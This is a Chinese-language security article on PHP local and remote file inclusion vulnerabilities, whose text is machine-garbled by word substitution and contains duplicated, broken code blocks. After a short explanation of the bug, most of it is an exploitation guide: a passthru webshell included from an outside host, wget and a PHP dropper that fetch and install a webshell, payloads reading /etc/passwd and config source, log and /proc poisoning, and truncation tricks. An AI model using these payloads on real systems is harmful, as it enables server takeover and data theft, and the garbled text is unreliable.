移动安全 安全管理 应用案例 网络威胁系统安全 应用安全 数据安全 云安全
当前位置: 主页 > 信息安全 > 系统安全 >

系统安然:PHP文件包含缝隙详解

时间:2013-05-04 10:19来源:TuZhiJiaMi企业信息安全专家 点击:
1、甚么才是”长途文件包含缝隙”? 答复是:办事器经由过程php的特点(函数)往包含肆意文件时,因为要包含的这个文件来历过滤不严,从而可以往包含一个歹意文件,而我们可以机关这个歹
Tags漏洞(188)系统安全(735)PHP文件(2)  

  1、甚么才是”长途文件包含缝隙”?

  答复是:办事器经由过程php的特点(函数)往包含肆意文件时,因为要包含的这个文件来历过滤不严,从而可以往包含一个歹意文件,而我们可以机关这个歹意文件来达到***的目标。

  触及到的危险函数:include(),require()和include_once(),require_once()

  Include:包含并运行指定文件,当包含外部文件产生弊端时,系统给出警告,但全部php文件继续履行。

  Require:跟include独一不合的是,当产生弊端时辰,include下面继续运行而require遏制运行了。

  Include_once:这个函数跟include函数感化几近不异,只是他在导进函数之前先检测下该文件是不是被导进。假定已履行一遍那么就不反复履行了。

  Require_once:这个函数跟require的辨别 跟上面我所讲的include和include_once是一样的。所以我就不反复了。

  php.ini建设文件:allow_url_fopen=off 即不成以包含长途文件。Php4存在长途&本地,php5仅存在本地包含。

  2、为甚么要包含文件?

  法度员写法度的时辰,不喜好干一样的工作,也不喜好把一样的代码(好比一些公用的函数)写几回,因而就把需要公用的代码写在一个伶仃的文件里面,比 如 share.php,而后在其它文件进行包含调用。在php里,我们就是利用上面列举的那几个函数来达到这个目标的,它的工作流程:假定你想 在 main.php里包含share.php,我将如许写include(“share.php”)就达到目标,然后便可利用share.php中的 函数了,像这个写死需要包含的文件名称的天然没有甚么标题问题,也不会呈现缝隙,那么标题问题事实是出在哪里呢?

  有的时辰可能不克不及肯定需要包含哪个文件,好比先来看下面这个文件index.php的代码:

  if ($_GET[page]) {

  include $_GET[page];

  } else {

  include ”home.php”;

  }

  很正常的一段PHP代码,它是如何运作的呢?

  上面这段代码的利用格局多是如许的:

  http://hi.百度.com/m4r10/php/index.php?page=main.php或

  http://hi.百度.com/m4r10/php/index.php?page=downloads.php

  连络上面代码,简单说下如何运作的:

  1.提交上面这个URL,在index.php中就获得这个page的值($_GET[page])。

  2.鉴定$_GET[page]是不是是空,若不空(这里是main.php)就用include来包含这个文件。

  3.若$_GET[page]空的话就履行else,来 include ”home.php” 这个文件。

  3、为甚么会产生缝隙?

  你或许要说,如许很好呀,可以遵循URL来动态包含文件,多么便利呀,如何产生缝隙的呢?标题问题标谜底是:我们不乖巧,我们总喜好和他人不一样,我们 不会遵循他的链接来把持,我们可能想本身写想包含(调用)的文件,好比我们会随便的打进下面这个URL:http: //hi.百度.com /m4r10/php/index.php?page=hello.php。然后我们的index.php法度就傻傻遵循上面我们说得步调往履行:取 page为hello.php,然后往include(hello.php),这时候标题问题呈现了,因为我们并没有hello.php这个文件,所以 它 include的时辰就会报警告,近似以下信息:

  Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3

  Warning: include() [function.include]: Failed opening ’hello.php’ for inclusion (include_path=’.:’) in /vhost/wwwroot/php/index.php on line 3

  寄望上面的阿谁Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;而后面的警告是因为前面没有找到指定文件,所以包含的时辰就出警告了。

  4、若何操纵?

  上面可以看到,标题问题呈现了,那么我们如何操纵如许的缝隙呢,操纵编制其实良多,可是本色上都是差不多的,我这里说三个比较常见的操纵编制:

  1.包含读出方针机上其它文件

  由前面我们可以看到,因为对获得的参数page没有过滤,因而我们可以肆意指定方针主机上的其它敏感文件,例如在前面的警告中,我们可以看到透露的尽对路径(vhost/wwwroot/php/),那么我们便可以多次探测来包含其它文件,好比指定URL为:http://hi.百度.com /m4r10/php/index.php?page=./txt.txt可以读出当前路径下的txt.txt文件,也可利用../../进行目次跳转 (在没过滤../的环境下);也能够直接指定尽对路径,读取敏感的系统文件,好比这个URL:http://hi.百度.com/m4r10 /php/index.php?page=/etc/passwd,假定方针主机没有对权限限制的很严格,或启动Apache的权限比较高,是可以读出 这个文件内容的。不然就会获得一个近似于:open_basedir restriction in effect.的Warning(这里是因为apache的open_basedir中限制了拜候目次)。

  2.长途文件包含可运行的PHP木马

  假定方针主机的”allow_url_fopen”是激活的(默许是激活的,没几小我会点窜),我们便可以有更大年夜的操纵空间,我们可以指定其它 URL上的一个包含PHP代码的webshell来直接运行,好比,我先写一段运行号令的PHP代码,以下保留为cmd.txt(后缀不首要,只要内容为 PHP格局便可以了)。

  if (get_magic_quotes_gpc()){

  $_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //往掉落转义字符(可往掉落字符串中的反斜线字符)

  ini_set(“max_execution_time”,0); //设定针对这个文件的履行时候,0为不限制.

  echo ”M4R10开端行”; //打印的返回的开端行提示信息

  passthru($_REQUEST["cmd"]); //运行cmd指定的号令

  echo ”M4R10结束行”; //打印的返回的结束行提示信息

  >

  以上这个文件的感化就是接管cmd指定的号令,并调用passthru函数履行,把内容返回在M4R10开端行与M4R10结束行之间。把这个文件 保留到我们主机的办事器上(可所以不撑持PHP的主机),只要能经由过程HTTP拜候到便可以了,例如地址以下:http://www.***.cn/cmd.txt,然后我们便可以在阿谁缝隙主机上机关以下URL来操纵了:

  http://hi.百度.com/m4r10/php /index.php?page=http://www.***.cn/cmd.txt?cmd=ls

  此中cmd后面的就是你需要履行的号令,其它常 用的号令(以*UNIX为例)以下:

  ll 列目次、文件(相当于Windows下dir)

  pwd 查看当前尽对路径

  id whoami 查看当前用户

  wget 下载指定URL的文件

  等等其它的,你主机往BAIDU找吧,就不列举了。

  3.包含一个成立文件的PHP文件(常常利用)

  或许有的人觉得仍是获得方针机上的一个真实的Webshell比较安心,万一哪天人家发现这儿个包含缝隙修补了,我们就不克不及再长途包含获得上面的那 个” 伪”Webshell了,不是么?可以理解这个心态,我们继续。获得一个真实的Webshell,我们也说两种常见的编制:

  1)利用wget之类的号令来下载一个Webshell

  这个比较简单,也很常常利用,在上面我们获得的阿谁伪webshell中,我们可以履行号令,那么我们也能够调用系统中的一个很短长的角色,wget, 这个号令的强大年夜你可以谷歌下,参数一大年夜堆,尽对弄晕你,呵呵,我们不需要那么复杂,我们就利用一个 -O(–output- document=FILE,把文档写到FILE文件中) 便可以了,呵呵。

  前提是你在遵循前面的步调放一个包含PHP代码的Webshell在一个可以经由过程HTTP或FTP等可以拜候的处所,比 如:http://www.***.cn/m4r10.txt,这个文件里写的就是Webshell的内容。然后我们在前面获得的伪 Webshell中 履行以下的URL:

  http://hi.百度.com/m4r10/php/index.php?page=http://www.***.cn /cmd.txt?cmd=wget http://www.***.cn/m4r10.txt -O m4r10.php

  假定当前目次可写,就可以获得 一个叫做m4r10.php的Webshell了,假定当前目次不成写,还需要想其它的编制。

  2)利用文件来成立

  前面的wget可能会碰着当前目次不克不及写的环境;或方针主机禁用了(或没装)这个号令,我们又需要变通一下了,我们可以连络前面的包含文件缝隙来包含一个成立文件(写文件)的PHP脚本,内容以下:

  

  $f=file_get_contents(“http://www.***.cn/m4r10.txt”); //打开指定路径的文件流

  $ff=fopen(“./upload/m4r10.php”,”a”); //寻觅一个可以的目次,成立一个文件

  fwrite ($ff,$f);  //把前面打开的文件流写到成立的文件里

  fclose($ff);  //封锁保留文件

  ?>  $f=file_get_contents(“http://www.***.cn/m4r10.txt”); //打开指定路径的文件流

  $ff=fopen(“./upload/m4r10.php”,”a”); //寻觅一个可以的目次,成立一个文件

  fwrite ($ff,$f);  //把前面打开的文件流写到成立的文件里

  fclose($ff);  //封锁保留文件

  >  $f=file_get_contents(“http://www.***.cn/m4r10.txt”); //打开指定路径的文件流

  $ff=fopen(“./upload/m4r10.php”,”a”); //寻觅一个可以的目次,成立一个文件

  fwrite ($ff,$f);  //把前面打开的文件流写到成立的文件里

  fclose($ff);  //封锁保留文件

  >

  仍是写进我们上面用wget下载的阿谁php文件,可是我们改进了编制,用PHP脚本来实现,可利用上面的cmd.php?cmd=ll查找可以 写的目次,好比这里的upload,然后把文件成立在这个目次下:./upload/m4r10.php。然后就获得我们的Webshell了。

  4.本地文件包含(常常利用)

  典型的缝隙代码:

  

  include($_GET['pages'].‘.php’);

  ?>  include($_GET['pages'].‘.php’);

  >  include($_GET['pages'].‘.php’);

  >

  黑盒鉴定编制:

  纯真的从URL鉴定的话,URL中path、dir、file、pag、page、archive、p、eng、说话文件等相干关头字眼的时辰,可能存在文件包含缝隙。

  本地包含缝隙的操纵(这里先忽视截断标题问题,下面会将截断的编制)

  1、包含同办事器中上传的jpg、txt、rar等文件,这个是最抱负的环境了。

  2、包含系统的各类日记,如apache日记,文件系统日记等 此中apache当记实格局为combined,一般日记城市很大年夜,根基没法包含成功。包含log是有主动化报复打击法度的。

  此中鬼子的博客中有提到一个空格的标题问题。见:《***的空格-PHP本地文件包含缝隙的新冲破口》http://huaidan.org/archives/1144.html

  解决空格标题问题其实把一句话base64加密后再写进便可以履行了。

  3、包含 /proc/self/environ . 这个环境变量有拜候web的session信息和包含user-agent的参数。user-agent在客户端是可以点窜的。参考:《Shell via LFI – proc/self/environ method》

  http://hi.百度.com/root_exp/blog/item/9c0571fc2d42664fd7887d7d.html

  4、包含由php法度本身生成的文件,缓存、模版等,开源的法度成功率大年夜。

  5、操纵本地包含读取PHP敏感性文件,需要PHP5以上版本。如看到“config”的源码以下:

  index.php?pages=php://filter/read=convert.base64-encode/resource=config

  出格的环境用到readfile() 函数不是包含履行,可以直接读源码。

  6、操纵phpinfo页面getshell。一般大年夜组织的web群存在phpinfo的机缘挺大年夜的。

  poc和介绍参考:

  《操纵phpinfo信息LFI姑且文件》

  http://hi.百度.com/idwar/blog/item/43101de153370126279791f2.html

  7、操纵包含犯错,或包含有未初始化变量的PHP文件,只要变量未初始化便可能再次报复打击 具体见:

  《include()本地文件包含缝隙随想》

  http://www.2cto.com/Article/200809/29748.html

  8、连络跨站利用

  index.php?pages=http://127.0.0.1/path/xss.php?xss=phpcode (要考虑域信赖标题问题)

  9、包含姑且文件文件。这个别例很麻烦的。参考:

  《POST method uploads》

  http://www.php.net/manual/en/features.file-upload.post-method.php

  解决姑且文件删除编制:慢连接 (注:前提是 file_uploads = On,5.3.1中增加了max_file_uploadsphp.ini file_uploads = On,5.3.1中增加了max_file_uploads,默许最大年夜一次上传20个)

  windows格局:win下最长4个随机字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′)如: c:/windows/temp/php3e.tmp

  linux格局:6个随机字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′) 如:/tmp/phpUs7MxA

  慢连接的两种上传代码参考:

  《PHP安然之LFI缝隙GetShell编制大年夜阅兵》

  http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm

  10、当前其实找不到写权限目次时辰,注进到log中再寻觅写权限目次。如注进到log.

  Linux: index.php?pages=/var/log/apache/logs/error_log%00&x=/&y=uname

  windows: index.php?pages=..\apache\logs\error.log%00&x=.&y=dir

  具体参考《PHP本地文件包含(LFI)缝隙操纵》

  http://kingbase.org/blog/php_local_file_inclusion_exploit

  11、利用php wrapper例如php://input、php://filter、data://等包含文件 在《PHP 5.2.0 and allow_url_include》//http://blog.php-security.org/archives/45-PHP-5.2.0-and-allow_url_include.html 此中文中提到的allow_url_fopen和allow_url_include只是呵护了against URL handles标识表记标帜为URL.这影响了http(s) and ftp(s)可是并没有影响php或date 这些url情势。

  12、LFI鉴定目次是不是存在和列目次,如

  **index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00

  **这个别例在TTYshell上是可以美满是可以鉴定的,可是在URL上有时辰不成行。即便不存在dossierexistant也能够回显passwd内容。

  index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00

  **FreeBSD 《directory listing with PHP file functions》http://websec…ress.com/2009 …php-file-functions/ 列目次

  **存在逻辑鉴定的时辰,如不存在该目次就会返回header.php+File not found+footer.php 存在就会返回header.php+footer.php。这类逻辑很合适法度员的习惯。曾用找到了一个目次很深的日记获得shell。

  13、包含SESSION文件,php保留格局 sess_SESSIONID 默许位置是/tmp/(PHP Sessions)、/var/lib/php/session/(PHP Sessions)、 /var/lib/php5/(PHP Sessions) 和c:/windows/temp/(PHP Sessions)等文件中。

  14、包含 /proc/self/cmdline 或/proc/self/fd/找到log文件 (具有者为root,默许环境要root才能拜候)

  具体参考:

  Local File Inclusion – 《Tricks of the Trade》

  http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/

  还有其他提到包含/var/log/auth.log的,可是这个文件默许环境也是644.

  15、包含maillog 凡是位置/var/log/maillog 这个别例也很鸡肋,具体参考:

  《local file inclusion tricks 》

  链接找不到了

  16、包含固定的文件,很是鸡肋,为了完全性也提下。如:可用中间人报复打击。

  冲破限制截断后面的字符串技能

  操纵本地包含经常常需要用%00来截断后面的字符串,但在GPC为ON时%00是会被转义的,那么还有其他编制么?

  用必然命目标/冲破把持系统对文件名的长度限制来截断后面的字符串(猜测相对路径可用)

  看缝隙代码:

  

  $webpath = dirname(__FILE__)."/";

  $filepath = "test.txt";

  for($i =1;$i<  $webpath = dirname(__FILE__)."/";

  $filepath = "test.txt";

  for($i =1;$i<  $webpath = dirname(__FILE__)."/";

  $filepath = "test.txt";

  for($i =1;$i<1000;$i++){

  $filepath .= '.';

  }

  include $webpath.$filepath.".php";

  >

  test.txt 代码:

  成果截断掉败,改下代码:

  

  $webpath = dirname(__FILE__)."/";

  $filepath = "test.txt";

  for($i =1;$i<  $webpath = dirname(__FILE__)."/";

  $filepath = "test.txt";

  for($i =1;$i<  $webpath = dirname(__FILE__)."/";

  $filepath = "test.txt";

  for($i =1;$i<1000;$i++){

  $filepath .= '.';

  }

  include $filepath.".php"; //相对路径

  >

  此次成功。

  以上是windows下的编制,其实linux也能够:

  

  $a='';

  for($i=0;$i<  $a='';

  for($i=0;$i<  $a='';

  for($i=0;$i<=4071;$i++) {

  $a .= '/';

  }

  $a = 'test.txt'.$a; //完全的路径为/var/www/test/test.txt

  require_once($a.'.php');

  >

  include截断

  

  include $_GET['action'].".php";

  ?>  include $_GET['action'].".php";

  >  include $_GET['action'].".php";

  >

  提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,可是除“%00”还有没有其他的字符可以实现截断利用呢?

  必定有人想到了长途包含的url里问号“?”的感化,经由过程提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上往不是那么舒畅那么我们简单写个代码fuzz一下:

  

  ////////////////////

  ////var5.php代码:

  ////include $_GET['action'].".php";

  ////print strlen(realpath("./"))+strlen($_GET['action']);

  ///////////////////

  ini_set('max_execution_time', 0);

  $str='';

  for($i=0;$i<  ////////////////////

  ////var5.php代码:

  ////include $_GET['action'].".php";

  ////print strlen(realpath("./"))+strlen($_GET['action']);

  ///////////////////

  ini_set('max_execution_time', 0);

  $str='';

  for($i=0;$i<  ////////////////////

  ////var5.php代码:

  ////include $_GET['action'].".php";

  ////print strlen(realpath("./"))+strlen($_GET['action']);

  ///////////////////

  ini_set('max_execution_time', 0);

  $str='';

  for($i=0;$i<50000;$i++)

  {

  $str=$str."/";

  $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);

  //1.txt里的代码为print 'hi';

  if (strpos($resp, 'hi') !== false){

  print $i;

  exit;

  }

  }

  >

  颠末测试字符“.”、“ /”或2个字符的组合,在必然的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大年夜于256时被截断,对*nix的长度是4 * 1024 = 4096。对php.ini里设置长途文件封锁的时辰便可以操纵上面的技能包含本地文件了。(此缝隙由cloie#ph4nt0m.org最早发现])

------分隔线----------------------------

推荐内容